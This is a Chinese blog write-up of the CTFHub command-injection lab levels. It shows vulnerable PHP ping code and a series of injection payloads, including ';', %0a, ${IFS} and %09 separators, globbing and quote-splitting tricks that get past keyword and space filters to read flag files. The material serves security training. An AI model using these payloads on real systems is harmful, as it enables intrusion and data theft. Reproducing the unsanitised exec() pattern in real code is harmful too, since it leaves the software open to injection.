Linux特有:
; 前面的执行完执行后面的
Windows:
| 管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)
|| 当前面的执行出错时(为假)执行后面的
& 将任务置于后台执行
&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真
%0a (换行)
%0d (回车)
命令注入-无过滤
127.0.0.1;ls -al;
127.0.0.1;cat 65572221311708.php| base64;
过滤了cat
<?php
$res = FALSE;
if (isset($GET['ip']) && $GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/cat/", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; } } ?>
显示过滤了cat
补充知识点:
linux查看文本的命令
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
127.0.0.1;more flag_1734911163851.php|base64;
127.0.0.1;less flag_1734911163851.php|base64;
127.0.0.1;nl flag_1734911163851.php|base64;
127.0.0.1;head flag_1734911163851.php|base64;
127.0.0.1;tail flag_1734911163851.php|base64;
过滤了空格
先用127.0.0.1;ls然后
127.0.0.1;cat<flag_22651777714854.php|base64;
127.0.0.1;cat${IFS}$9flag_22651777714854.php|base64;
127.0.0.1;{IFS}flag_22651777714854.php|base64;
可参考下面这篇文章:
【BUUCTF】[GXYCTF2019] Ping Ping Ping 总结笔记 Writeup-CSDN博客
命令注入-过滤运算符
这里可以这样输入12.0.0.1 ; base64 flag_287012300514850.php
CTFHub 命令注入-综合练习
if (isset($GET['ip']) && $GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/(||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; } }
这一关过滤了| & ; cat flag ctfhub 空格
cat可以用more、less、tac等代替代替
flag可以用fla*
空格可以用< ${IFS}$9 {IFS} 代替
命令分隔符可以用%0a代替
?ip=127.0.0.1%0als
Array
(
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => flag_is_here
[2] => index.php
)
?ip=127.0.0.1%0als%09*is_here(这里的%09*可以自动补全文件名,%09是Tab键的url编码)
flag_9312119741714.php
?ip=127.0.0.1%0acd%09*is_here%0ac%27a%27t%09*_1754153286910.php
标签:127.0,0.1,ip,cat,命令,flag,执行,php From: https://www.cnblogs.com/cll-wlaq/p/18133051